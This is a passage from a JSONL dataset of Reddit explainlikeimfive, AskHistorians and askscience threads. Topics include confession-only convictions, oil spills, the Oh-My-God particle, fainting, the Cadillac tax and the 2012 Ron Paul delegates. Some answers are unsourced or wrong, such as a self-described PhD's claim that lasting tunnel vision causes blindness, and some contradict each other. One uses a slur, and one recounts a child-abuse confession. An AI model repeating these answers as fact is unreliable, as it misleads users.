if it doesn't result in one of the others, lead to disengagement), overpower and attack, yield and attack, and deflect and attack. Offensively you can attack with the goal to either yield and attack or overpower and attack (since you are expecting your opponent to try and parry - if he does not, hunky dory, you won). This means any combat contact will be extremely rapid from swing to injury, but a fight can be drawn out if no combatant manages to hit the other during these exchanges.\n\nThis is a video of some drills from the same starting position, where the attack is a zornhau (\"tower chop\"). As you can see the longest exchanges are only a couple seconds before a hit is made. _URL_0_\n\nThis is a video of the finals of the 2012 Swordfish Longsword tournament - competetive fencing that is both fast and furious should give you an idea of what combat could have looked like.\n_URL_1_\n\nI'll be able to answer follow-up questions tomorrow (~10-12 hours from this) so please remain patient. :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1fluic/would_sword_fighting_from_your_field_of_study/cabojm3", "http://www.calpoly.edu/~dkgrant/fencing/nadi.htm", "http://www.reddit.com/r/AskHistorians/comments/1l6pz5/tuesday_trivia_its_simply_not_done_historical/cbwfy6v"], ["http://www.youtube.com/watch?v=mjT4JepA-Vc", "http://www.youtube.com/watch?v=aC1O2zoc2II"]]}
{"q_id": "2oks9i", "title": "if you walk into a police station and confess to a crime but there is absolutely no evidence linking you to that crime other than your word, can you still be convicted?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2oks9i/eli5_if_you_walk_into_a_police_station_and/", "answers": {"a_id": ["cmo208x", "cmo25eh", "cmo2u3h", "cmo3z3i", "cmo4i25", "cmo4q4i", "cmo7ba0", "cmo7db8", "cmo7m06", "cmo9q34", "cmoang6", "cmoavey", "cmob329", "cmobgc9", "cmoboaa", "cmobpqt", "cmobucc", "cmoc87f", "cmoce14"], "score": [301, 4, 239, 25, 11, 19, 3, 134, 16, 2, 3, 2, 6, 3, 2, 2, 2, 2, 3], "text": ["Sure, but probably not for what you confessed to.\n\nIn all likelihood, the only way that you're going to serve time for the crime is if you offer some proof that you did it, and accept a plea bargain in lieu of a trial.\n\nIf, however, there is sufficient reason to doubt your confession, you might be charged with interfering in a police investigation.", "maybe, if you have knowledge about the case that hasn't been released to the public or you have evidence linking you to the crime. Crazy people always call or go to the police to turn themselves in for stuff they did not do, there is no way of knowing how many people who have done this legitimately where actually arrested and convicted.    ", "In my jurisdiction, a criminal defendant can not be convicted based **only** on his own confession.  There must be some (however slight) corroboration.", "Sort of.  If there is other independent evidence that there WAS a crime, but your word is the only thing proving that you had something to do with it, you can be convicted based upon your admission.  If your admission is the only evidence that a crime occurred at all, you cannot be convicted unless independent evidence at least establishes that a crime occurred.  It's called the corpus delecti rule.  ", "No. There is a movie starring Anthony Hopkins called Fracture that deals with a guy killing his wife, confessing, and then basically messing with the entire prosecution the rest of the movie, specifically because of lack of evidence of any kind. \n\nIt may be a movie, but this one and My Cousin Vinnie have been praised by the legal world for their surprisingly accurate depiction of the court process.", "No. There needs to be corroboration that what you are confessing to is true. Corpus delicti is the legal term which means the prosecution must prove that elements of an offense were committed. An out of court confession without corroboration is insufficient for a conviction. ", "Then you'd be interrogated. If all the answers you gave were linked reasonably with a crime, you'd at least likely be held. I'm not sure it would hold up if all you said was \"yes\" and gave no other answer from that point to trial. You'd seem as if you were insane and probably treated as such.\n\nBut IANAL or police. I have family that's police but still know little pertaining to something like that.", "No. This would allow for people to be paid to serve time. A rich person could murder his wife and then pay a bum to confess. ", "In the US, No. \n\nHere's why: police have tons of people coming in and confessing to crimes they didn't commit. Either they are crazy, they want the attention, or they are covering for someone else. To help prevent innocent people from being convicted and guilty people from being released, police need some other form of evidence to convict someone. Like someone else saying \"yeah, that's the guy!\" or them having information that isn't available to the public \"I killed the guy with a Smith and Wesson .45 hollow point to the left temple\" or some other form of evidence.\n\nSource: Son of cop of 25 years", "Ok. These answers all explain why you wouldn't be able to be convicted based on the discretion of law enforcement or the prosecution but I'll explain it from a legal theory point of view. There are two things required for a crime: Mens Rea and Actus Reus. \n\nMens Rea means \"the intending mind.\" The basic idea behind it is that the person committing the crime must have intended to commit the crime and must have done it of his or her free will. You can't convict someone of a crime if they have a mental handicap or if they committed the crime with a gun to their head.\n\nActus Reus means \"the guilty act\" and is why you wouldn't be convicted. In order for a crime to be committed, there must be the act of the crime. Because there is no evidence of the act of a crime, there is no way for the police to determine if a crime was committed. The police would not be able to arrest you for a confession without corroboration of a crime; the prosecution would not be able to charge you for a crime based on the confession. \n\nThe confession would allow the police to start an investigation, but without evidence they wouldn't be able to do anything. \n\nSource: L3 in law school with an undergraduate degree in Legal Studies. ", "Probably.  But it's not black and white.  Also bear in mind that a \"conviction\" comes only after court proceedings, which means an inquiry (as opposed to indictment or charges). \n\nDepends what crime they're confessing to for a start. And different crimes have varying standards of proof (simple example is that murder requires intention (mens rea) ,  manslaughter does not). \n\nThe confessing person would not just be taken at their word. They would be interviewed by police,  and this may later become evidence in court.  However if he repeats the same story in court wan testifying  it won't be evidence (forgotten the Latin term,  but no doubling up of the same evidence). \n\nSo it's really his testimony that decides it,  not the confession.  If that truly is the only evidence,  then  it is unlikely to leave a jury thinking \"beyond a reasonable doubt\" that he committed the alleged crime.\n\nImportantly, once you've confessed to it, the police will investigate whether such crime has occurred or not.  If it looks like there's been no such crime you'll get away.  If it has been committed, the court will weigh up how close your version of events match what actually happened,  while also being aware of how much of that information may be available to the public. \n\nDespite it being a confession, you've still got to meet the standards of proof for that crime.  (compared with confessing you trespassed on someone's property, which is a civil crime meaning it's only necessary to prove that it 'is more likely than not' to have happened).\n\nI am unsure how double jeopardy works with this, but it could maybe be a cunning way to get away with murder.  But I really really doubt it.\n\nTLDR: maybe.  Depends if your confession alone is good enough to convince a jury 'beyond a reasonable doubt'  that you meet the requirements  to be convicted of the crime you say you committed in the way you committed. \nYou will be entitled to a defence lawyer and there will be a prosecution lawyer. ", "Considering how may retarded people got exonerated from [death row](_URL_0_) where the only evidence was their confession after a questioning/coercing session, I'm pretty sure it wouldn't be hard to get convicted...", "Nyc criminal defense attorney here. I can't speak for other jurisdictions but here in NY we have something called the confession corroboration rule ( I believe virtually every state has a similar rule). This means you cannot be convicted based solely on your confession to a crime.  There must be some corroboration that the crime occurred no matter how small.  To be clear if a body is found and you come in and confess that is enough. However if no body is found and you come in and confess to the crime there must be at least something that corroborates that the crime was committed. \n\nI recall there was a case in upstate NY where man confessed to a murder but there was absolutely no evidence other than his confession. However, he was convicted under the theory that the woman he claimed to have killed had gone missing at the same time leaving her child unattended.  The court held that her being missing at the same time as the murder was enough corroboration. ", "An associate of mine did this in Canada. He went to the police and confessed to raping and sexually assualting numerous young, sleeping children and teens. No other evidence was found but he gave details under oath to multple officers and law enforcement agents, he was convicted and sentenced to 2 years in jail. \n\nAlthough within a year of release he has no restrictions and once again has full access to his still very young children, although his teen daughter was warned by people in court at sentencing of what he confessed to and she has left the house. Other victims and parents have taken out personal protection orders or whatever they are called and he can't go within 100m of them. \n\nHis wife is crazy though and defended him all along, and took him back and blames herself. She and he believe that demons made him do it and that as long as he stays close to Jesus he is fully healed. He refused all treatment and counselling expect oil on head and a christian prayer circle. \n\nThe whole situation is fucking crazy. I attended the sentencing hearing and the judge was livid with the wife and \"demon\" theory they both maintained and said he was sickened by his lack of remorse and believed he would re-offend if not kept from children, but the crown felt otherwise and only presented limited criminal charges and requested a minimal sentence. \n\nSo in Canada a confession with no evidence can lead to a criminal conviction, although the charges might be severly watered down possibly due to the difficulty in proving the charges if the confessor where to appeal. ", "They have to prove that the crime occurred.  After that, I would think that conviction is fairly inevitable.", "Law student graduating this year here. \"Evidence\" is a specific word, and means a different thing from what laymen think. It's not a button someone found in an elevator shaft, or a curly hair on a sink. It's words from a person. If you tell them that you did something, they could choose to have a grand jury and they could meet the burden to show that, based on a preliminary examination, a conviction could be supported by the facts.\n\nThe problem is that you could just invoke your fifth amendment privilege against testifying at any moment, and so they would be at your mercy the whole time. Because of that, they probably wouldn't try to charge you without some other evidence they could rely on in the event you change your mind and stop cooperating.", "Legal systems around the world have differing standards of evidentiary proof required for prosecution and conviction.  In most countries where the legal system traces back to England a confession alone is insufficient to convict.  The idea of corpus delicti (which is the snobby latin phrase lawyers are taught to address this very issue) is that a crime must be first proven to have occurred before a person can be convicted of it.  A confession, standing alone, is insufficient to prove a crime occurred (although an accusation standing alone can be sufficient in many instances).  \n\nTake as an example where a person simply walks into a police station and states \"I just killed a man on Jefferson Street.\"  Police would immediately rush to Jefferson Street, but finding no body nor evidence of a body the person's claim is unsubstantiated.  Without any corroboration there is no way to know if the person's claim was truthful or a lie.  Since it isn't unreasonable to believe a person might lie (everyone lies) you could never prove beyond a reasonable doubt that the crime confessed to occurred at all, let alone by the confessor.  To help guard against wrongful conviction most places require the prosecutor to prove a prima facie case (put forth some evidence of every element of charge) before the confession can even be introduced.\n\ntl/dr: Confessions cannot be used to prove a crime occurred, but can be used to prove who committed a crime.", "There are and have been people on death row because of forced \"confessions\" and no evidence (because they're actually innocent), so I'm sure you too can end up there voluntarily.", "**Canadian answer.** (Since we only have a federal criminal code, the principal applies to all provinces and territories)\n\n**TL;DR : To a person of authority, such as a cop, if the confession is free and voluntary, it will admissible.**\n\nWhat you are referring to is a sort of incriminating statement to a person of authority (police officer, Crown). This incriminating statement made by the accused is called a \"confession\". Essentially, the conditions of eligibility (to use the statement as evidence) is more demanding for persons of authority compared to an individual since it will imply Charter obligations.\n\nThis said, they must respect the Charter. Essentially, the confession must be \"free and voluntary\", without promises or threats. The classic \"tells us you did, we will go easy on your sentence\" would be a promise. This would be a violation to s. 10 a) and b) of the Charter and inadmissible under s. 24 of the Charter. See Ibrahim c. La Reine, [1914] A.C. 599\n\nPutting in evidence of any denomination is subject to the holding of a voir dire and must conform to the rules of evidence (they will be called to witness, cross examined if wished). This said, the judge may use discretion and exclude the statement if prejudice form its admission would outweigh its probative value. See R. v. F. (C.C.), [1997] 3 SCR 1183, 1997 CanLII 306 (SCC).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://www.aclu.org/capital-punishment/mentally-retarded-death-row-exonerations"], [], [], [], [], [], [], []]}
{"q_id": "2nj1ci", "title": "when theres an oil spill why cant we just light it on fire and let the oil burn out?", "selftext": "i am genuinely curious why cleaning it is a big deal", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nj1ci/eli5when_theres_an_oil_spill_why_cant_we_just/", "answers": {"a_id": ["cme1cmt", "cme1gs1", "cme1i1f", "cme1ufr"], "score": [5, 7, 12, 3], "text": ["Burning it doesn't make it go away.  It still leaves stuff behind, often the nastiest parts.", "You've seen pictures of oil slicks washing up on shore, making an environmental disaster, right? \n\nThat scenario would be better if it was on fire as well? ", "Sometimes it is burned to control a spill, but burning crude oil releases a lot of toxins that aren't so good for humans like carbon monoxide, lead, nitrogen oxides, etc.", "Imagine the wildlife that would perish due to a massive fire on the sea\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4v2u3y", "title": "What could have emitted the \"Oh-My-God\" particle (a likely proton caught traveling with 99.99999999999999999999951% of the speed of light?", "selftext": "The [Wiki page](_URL_0_) doesn't mention its origin.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4v2u3y/what_could_have_emitted_the_ohmygod_particle_a/", "answers": {"a_id": ["d5vbak1", "d5vq3ws"], "score": [90, 7], "text": ["Well, the short answer is that we don't know, but analysis of the  most energetic cosmic rays shows that a lot of them originate in one part of the sky (see [here](_URL_0_)) at least hinting at the location of the source. Now the Ice Cube neutrino detector under the South Pole is starting to see super-high energy neutrinos that may be correlated in their origin with super-high energy cosmic rays, which will help narrow down the source.\n\nAs for the physical mechanism, it could be something involving the accretion disk of a supermassive or rapidly rotating black hole. These are hypothesized to be efficient particle accelerators. This is educated speculation on my part.", "Can someone explain how exactly this was detected and its speed measured? Also, how is it a ray if it's a single proton?"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Oh-My-God_particle"], "answers_urls": [["https://www.quantamagazine.org/20150514-the-particle-that-broke-a-cosmic-speed-limit/"], []]}
{"q_id": "1yn0b0", "title": "the economics of c.h. douglas' theory of social credit", "selftext": "There was one post on here about this subject eight months ago, but it got no response.\n\nMy understanding of economics comes from Charles Wheelan's Naked Economics and Todd Buchholz' New Ideas from Dead Economists. I haven't necessarily *retained* everything I read in those books (or even most of it), but I have read them. My *extremely* sketchy understanding of Social Credit theory comes from Robert Heinlein's For Us, the Living.\n\n**What I do get, or at least, what I think I get:**\n\n* Historically, developed nations have always had overproduction, that is, they have made more than enough goods for everyone to have all their needs met and most of their wants. But some remain in poverty because they lack the purchasing power to buy up all the goods produced. According to the economist from Heinlein's book, America was overproducing *even throughout the entire duration of the Great Depression.*\n\n* Social Credit is meant to ensure goods are allocated effectively enough to eliminate poverty by correcting the production vs. purchasing power disparity.\n\n* According to something I read by someone in some thread somewhere, part of this process would involve placing negative sales taxes on overproduced goods to ensure that those who need / want them can buy them all up, which intuitively makes a lot of sense even though it seems like it might have some wacky effects on market dynamics.\n\n**What I *don't* get:**\n\n* *Any* of the stuff about banks and interest and businesses and lending. Heinlein's economist character gave a very detailed and apparently dumbed down explanation of this, and I'm still very fuzzy on what changes Social Credit really proposes in these regards and what their significance would be.\n\n* Is Social Credit theory a form of capitalism? Socialism? A hybrid system? Something else entirely? Heinlein seemed adamant that it was a kind of capitalism, but he really hated him some commies so his explanation might have been biased. But as I recall, in his book Wisconsin opted into some form of socialism that was still based on Social Credit.\n\n* Is it compatible with this Guaranteed Income idea I keep hearing about? A variant of the same principle?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yn0b0/eli5_the_economics_of_ch_douglas_theory_of_social/", "answers": {"a_id": ["cflzaft"], "score": [2], "text": ["I've always struggled to understand social credit theory as well. Here in Alberta, Canada the social credit party formed the government for 34 years straight. They were a highly socially conservative christian party which left much of the social credit reforms unaddressed. For a time they issued \"prosperity credits\". These were essentially currency that decreased in value each week. They were designed to keep people from hoarding money during the great depression. They were extremely impractical at the time though and were barely used. The Socreds also tried to reform banking in the province, but I've never read how. It ultimately failed because a province doesn't have enough authority over banking practices to enact these changes.\n\nUltimately, from my interpretation, think of socialism as government programs funded by taxes, and social credit as laws that see workers paid a a minimum wage that they can live and grow with. It's goal wasn't financial equality so much as it was a guaranteed minimum standard from which people can flourish.\n\nI could be wrong though, my understanding is limited to the historical sentiments of one (failed) case study. Probably not the best perpective. Hope it lends a bit of insight at least, I'm probably going to look up more now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4adfcr", "title": "Galilee was part of the northern kingdom of Israel in the Old Testament, but its inhabitants, in contrast to the Samaritans directly south of Galilee, seem share a religion with the descendants of the southern kingdom of Judah in the New Testament - why is that?", "selftext": "Was this area later settled by migrants from Jerusalem and/or Judea or were were they converted at some point \"between the testaments\" by the Hasmoneans or some other group? I've never been able to find a good explanation for this in the Bible or in other sources.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4adfcr/galilee_was_part_of_the_northern_kingdom_of/", "answers": {"a_id": ["d0zf7vd"], "score": [5], "text": ["The inhabitants of Galilee were forcibly converted to Judaism during the Hasmonean dynasty. \n\nThe main source for this is Josepus' *Antiquities*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vqcq3", "title": "How do musician's brains keep track of the passing of time with such a high degree of accuracy, when in other situations our perception of time is very loose and fluid?", "selftext": "As a drummer, I have been curious how I and other musicians are able to keep track of an extremely steady pulse and rhythm while playing, yet in other situations we perceive time as passing in greatly varying speeds, i.e very quickly when doing something enjoyable. Is there a structure in the brain that functions as a sort of internal metronome?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vqcq3/how_do_musicians_brains_keep_track_of_the_passing/", "answers": {"a_id": ["cokgi18"], "score": [5], "text": ["Rhythm is a different perception than time. With rhythm you are playing in certain discrete time intervals (beats) and adjusting them to the music. For example, it's pretty easy to know when one second has passed ( like saying one- one-thousand ) but it's hard to know when an hour has passed. That's because there are tons of those discrete time intervals in a single hour. But, if you counted out the hour in second intervals you'd have a way better idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22x24t", "title": "why do we get tunnel vision before we pass out?", "selftext": "A few months ago when I was in the gym I dropped a weight on my finger, there was alot of blood and I even though I'm not a squeamish person I passed out in the bathroom after laying there feeling really cold for about 3 minutes. Before I passed out I saw loads of blue dots like sparkles, and then darkness started filling the edges of my vision until I could only see through a tiny gap about the size of a cup, then my vision completely went but I was still partially concious as I remember waving my hand in front of my face and seeing complete blackness even though my eyes were open.\n\nThis was the first and only time I've ever passed out by the way.\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22x24t/eli5_why_do_we_get_tunnel_vision_before_we_pass/", "answers": {"a_id": ["cgr9jqh", "cgraoqt", "cgrik1l", "cgrrd55"], "score": [2, 16, 3, 2], "text": ["That's a good question, probably has something to do with the loss of blood flow to your brain.", "This is your body going into shock. When it does go into shock, all of the blood heads toward the major organs in the core of your body and away from your appendages. This causes blood loss in your brain which causes you to pass out. ", "This happened to me many years ago when I sustained a small cut at work. I've never been super squeamish either, but it bled a lot for a small cut and I thought I cut the tip of my finger off. I went to the break room to wash the wound and then...BAM, on the floor, never made it to the sink. Next thing I know, co-workers are above me and I'm waking up, but as I fell I remember the the tunnel vision effect. My doctor explained it as a Vasovagal response (_URL_0_) and it's only happened to me once since then when I saw my own blood...apparently that is my trigger. I did not lose consciousness completely that time, because I felt it coming and knew what to do.\n\nTL;DR: It happened to me too, it's quite common, and is part of the body's natural reaction to stress and/or trauma.", "Throwaway account here!  I have a PhD in neurological dysmorphic studies, and tunnel vision is common with people that I work with on a daily basis.  I will keep it simple.  TUnnel vision is the result of a jump in ones heart rate due to shock, but decreased blood flow to the eyes.  Believe it or not if the tunnel vision lasts for more than 2 minutes you can go blind."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Vasovagal_response"], []]}
{"q_id": "37jsa7", "title": "how does a money changer make money?", "selftext": "He is always changing currencies? How does he ensure he draws an income in the currency of his home country?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37jsa7/eli5_how_does_a_money_changer_make_money/", "answers": {"a_id": ["crnaods", "crnkvuf"], "score": [2, 2], "text": ["They buy currency from people for less than what they sell currency to people for. \n\nOutside some banks where I'm from they have signs that say \"we buy\" and \"we sell\" with values for different currencies. Obviously they need to take some form of a cut to cover things like overheads, false notes, etc. ", "Pretty much the same way everybody else makes money.\n\n\"You have a ten-euro bill you want to get rid of?  I will give you $9 for it.\"\n\n\"You want a ten-euro bill?  I have one.  It will cost you $11.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3x8mt5", "title": "cadillac tax/why it makes sense or doesn't make sense", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x8mt5/eli5cadillac_taxwhy_it_makes_sense_or_doesnt_make/", "answers": {"a_id": ["cy2fs0x", "cy2fwgx"], "score": [2, 3], "text": ["There are some jobs that get VERY good health care plans.  These jobs are mostly higher paid union type jobs.  However these kinds of plans pose a problem.\n\nThe consumer of healthcare is rarely the person who is actually paying for healthcare.  So there's no incentive built into the system that controls the costs.  This kind of model rewards healthcare providers who offer very high cost services because they have lots of customers (because the customers aren't the ones paying).\n\nSo this hurts the system overall.  The whole thing just works better if the end consumer shoulders at least a portion of the final cost so there's an incentive not to consume unnecessary care. \n\nThe tax is intended to prevent employers from offering these kinds of plans by punishing them if they chose to do so.  So the result is that these kinds of plans are expected to be phased out.  Almost everyone thinks this is a good idea... except.\n\nOne of the major constituents within the democratic party are the powerful unions.  Those unions are the ones who primarily benefit from these kinds of plans.  So a concession was made that, while the tax was created with obamacare it does not actually kick in until years later.  We are now years later and the tax is getting ready to kick in.\n\nSince the unions are such a powerful force within the party, there are some people running for president who are willing to say that they would repeal the tax. \n\nThe tax is likely a good thing for the country as a whole, but would be a bad thing for the individuals affected by it.  ", "basically, the government levies a tax on highly priced insurance plans (that generally only companies or other large organizations buy for their employees). The goal is to put downward pressure on healthcare and insurance costs by taxing plans that are high price.\n\nPeople like it because:\n\n* We spend absurd amounts of money on healthcare, in large part because of our insurance market.\n\nPeople don't like it because:\n\n* Lots of people work for large organizations and get these kinds of plans.\n\n* People feel like in impinges on personal freedom in a \"we should be free to pay as much as we want for insurance\" kind of way.\n\n* Many people don't believe it will actually work and reduce healthcare and/or insurance costs. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "429fnv", "title": "why do we eat some grains, like rice or corn, by themselves, but we almost always grind wheat into flour?", "selftext": "I know that there is rice flour and corn flour as well, but I have never seen anyone eat wheat grains by themselves.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/429fnv/eli5_why_do_we_eat_some_grains_like_rice_or_corn/", "answers": {"a_id": ["cz8nhb7", "cz8odxq", "cz8okku", "cz91uzl"], "score": [16, 9, 6, 2], "text": ["Wheat has been specifically bred over time for grinding. It's generally not used as human food without processing -- not that you can't, we just don't.\n\nWheat flour is also fairly typical of Old World culture -- rice flour dominates in the East, while natives in the New World were using corn flour as they didn't have wheat.", "While not the whole wheat grain, non-flour wheat foods are consumed. There is wheat germ, bran, and shredded wheat. All are lower processed than flour. ", "You can just cook the berries. Sort of half-way between oatmeal and couscous? You simmer it for a long time, though.  Have you never had bulgur?\n\nBut anyway, there are many different types of grains, and they are all used primarily for different things, presumably because they are better for that use than other grains.  Why oatmeal for breakfast, wheat for bread, and barley for beer? You don't *have* to do it that way, but I assume it's conventional because most people like the flavor. (I love wheat beers and oat stouts, myself.)", "There is such a thing as wheat berry salad. You take wheat berries (which is the entire kernel) and boil them like rice. Some feta, maybe some onion green, and dress it up with a sweet vinaigrette and maybe some wall nuts and you have a shepherds salad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3lzmn4", "title": "can people in jail be released/absolved for a previous crime that is no longer considered illegal? why or why not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lzmn4/eli5_can_people_in_jail_be_releasedabsolved_for_a/", "answers": {"a_id": ["cvaok47", "cvapvoo", "cvapyd4", "cvar33n", "cvar42v", "cvar81h", "cvatdv8"], "score": [10, 105, 5, 20, 91, 3, 5], "text": ["No they will not. Because it was illegal when they committed the crime. This is usually asked in relation to marijuana legalization. Anyone in jail for marijuana use when/if it gets legalized will not be set free because they broke the law. ", "Yes. They can be. An example of this is in California when proposition 47 passed \"nonserious, nonviolent and drug crimes\" were reclassified from felonies to misdemeanors. Many people were moved from prison to county jails where they would return to court for new sentencing, a majority of those people were released. This was in conjunction with AB109 which ordered an end to overcrowding in California's prisons. \n\nI'm happy to answer more questions if you have them. ", "Depends on what you mean by \"no longer considered illegal.\"\n\nIf they committed a crime (say, possessing a gun with the serial number filed off) and the legislature for whatever reason decides to repeal the law that makes that a crime, then it's unlikely that will affect them. It was against the law at the time they did it.\n\nIf, on the other hand, the courts determine that the law in question was actually unconstitutional--that it never should have been the law in the first place (say, because they decide that the Second Amendment protects your right to possess guns with obliterated serial numbers (which, by the way, it doesn't--don't go out and do that))--then the guy sitting in jail has a stronger case to make that his conviction should be overturned.", "The US constitution expressly forbids what are called \"Ex Post Facto\" laws. That is to say, neither congress, nor the states can pass laws which retroactively change the legal consequences of a criminal act. All the way back in ~~1738~~ 1798 in Calder v Bull, the Supreme Court set a precedent that explicitly states that a law which *reduces* the consequences or decriminalizes an offence does not constitute an ex post facto law, therefore there is nothing stopping legislation from being released or resentenced under less strict legislation, however, as others have noted, this is not automatic, and requires the laws to be written in such a way that they retroactively apply.", "The state is under no obligation to release prisoners or drop charge for illegal acts that later become legal.\n\nIn many cases, the state can *choose* to drop charge and release prisoners early.\n\n", "Depending on the severity of the crime and the wording of the law change: sometimes\n\nhoweverx usually what happens is: If it was illegal when the crime was committed, you're stuck...you could possibly get an earlier parole", "Yes. I know a guy who got 10 years when he was 18 for having sex with a 15 year old. Senior and sophomore.\n\nAfter a year and a half, the law was overturned making that a misdemeanor and he was released.\n\nIt absolutely crushed his life though. He was an honor roll student heading to an SEC school on a football scholarship."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "z0s25", "title": "what happened with the ron paul delegates at the republican convention", "selftext": "I don't mean the ruckus that resulted afterwards. I mean the process by which they could decide not to seat some delegates and seat others.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/z0s25/eli5_what_happened_with_the_ron_paul_delegates_at/", "answers": {"a_id": ["c60hjdp", "c60hsz9", "c60p8sg", "c60pluc"], "score": [103, 5, 6, 6], "text": ["At the opening of any national convention, the first 'vote' from the assembled delegates is to adopt the 'rules' which govern how the convention will run and even set future rules for future contests. This is a hold over from the old days when state parties had all the power (now the national party does) and conventions actually decided nominations and not just elaborate 4 day TV commercials. \n\nThe rules to be adopted this time included among other things, a refusal to recognise the delegates from the state of Maine (where Ron Paul delegates got the majority but there are a lot of legal shenanigans about who won what were), and also included rules for future primaries which would ban tactics used by the Ron Paul campaign (The new rules say the delegates have to match the popular vote count, what RP supporters had been doing was going to state conventions and caucuses, where thier turnout was better and using arcane rules to increase their delegate count, its all very complicated and state by state, but the ELI5 is: the RNC is trying to stop any future Ron Paul revolutions before they happen).\n\nNow traditionally the 'rules vote' is such a boring and procedural and uncontroversial thing that they do it by something called a voice vote, the speaker asks for 'ayes' and 'nays' and the loudest side wins. Again usually everyone says aye, no one says nay, and they can move on with speeches and other, more tele friendly stuff.\n\nThis time, with the controversial changes in the rules, when they called the voice vote, the ayes and nays sounded exactly the same. What supposed to happen is they pull out paper and start actually counting votes from the delegates. But John Boener ignored this and stated the 'ayes' won. The Ron Paul delegates and supporters relized that the RNC was going to force them out of the party's rule making process and that this was the elite's way of stopping any grass roots movement in the GOP. So they flooded out of the convention and told as many reporters as possible about how the RNC was acting undemocratic and breaking their own rules and steamrolling regular party members. \n\nCombine this with a series of legal battles over the results of many of the state caucuses, where Ron Paul supporters believed that Mitt Romney friendly state parties stole delegates from their totals by again, breaking rules; and that Ron Paul was only offered a speaking slot if he would let the Romney campaign 'vet' (review and edit) his speech and give a full, unequivocal endorsement; and you've pretty much pissed off all the Ron Paul people. ", "I came to ELI5 hoping this question/answer would be here. Thank you!!", "Adding onto what thisisntnamman said, the issues of Louisiana and Massachusetts caused controversy. In MA, Ron Paul won a bunch of delegates, but Mitt Romney won the majority. All the delegates would have to vote for Mitt Romney, because he won MA, both the Romney and the Paul delegates. However, the GOP establishment didn't trust the Paul delegates to vote for Romney, so they forced the Paulites to sign two affidavits *promising* that they'd vote for Romney, under the threat of perjury. However, many Paul delegates refused, because they technically are legally able to still vote for Ron Paul. There was no party rule mandating them to sign the affidavit. So, the GOP in MA just threw out the delegates that Paul won and replaced them with Romney delegates.\n\nIn Louisiana, something similar happened. When it became apparent that Ron Paul was getting a majority of the delegates, the Romney people panicked and had the Paul delegates arrested, even though they literally didn't do anything wrong.\n\nSo yeah, there's the illusion of democracy for you. Whenever the establishment sees that it's being threatened, it changes the rules. Ron Paul had a majority of delegates in a plurality (defined as 5) states, meaning that he could speak at the RNC. But at the last minute, the GOP establishment, fearing a disturbance, changed the rules and redefined a \"plurality\" as 8. They gave Ron Paul the option to make a speech anyway, as long as it endorsed Mitt Romney and was approved by the GOP. Ron Paul refused because he said that he doesn't endorse Romney (big surprise there), and that it would undermine all of his principles that he has been working for for the past 30 years.", "Dear heavens, it's funny as shit to see the republicans turn on each other. It'd be funnier, if the stakes weren't our nation's future."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1alc59", "title": "Arab doctors in comparison European doctors?", "selftext": "**Arab doctors in comparison to European doctors?**\n\nI remember reading the Horrible Histories book as a child and in one of the books it said Arab doctors where better then European doctors at diagnosis and treating patients.\n\nHow true is this? \n\nwhere Arab doctors better at treating illness then their European counter part or was it the other way round?\n\nIf Arab doctor where better did European royals use them and vise verse?\n\nHistorical period **Middle ages**. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1alc59/arab_doctors_in_comparison_european_doctors/", "answers": {"a_id": ["c8yjp8u"], "score": [4], "text": ["It's not a controversial claim to say that the Islamic world was far more advanced in the field of medicine than their European contemporaries. Translated works of Muslim physicians like Avicenna and Rhazes were important and fundamental texts in European medicine at the time. Avicenna's [*Canon of Medicine*](_URL_0_) in particular was a highly respected and read book. In no small part the Muslims (this Arabs, Persians, and others) were building on earlier Classic Greek humoral theory, particularly that of Galen. Their empirical work, however, surpassed and often contradicted past knowledge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/The_Canon_of_Medicine"]]}
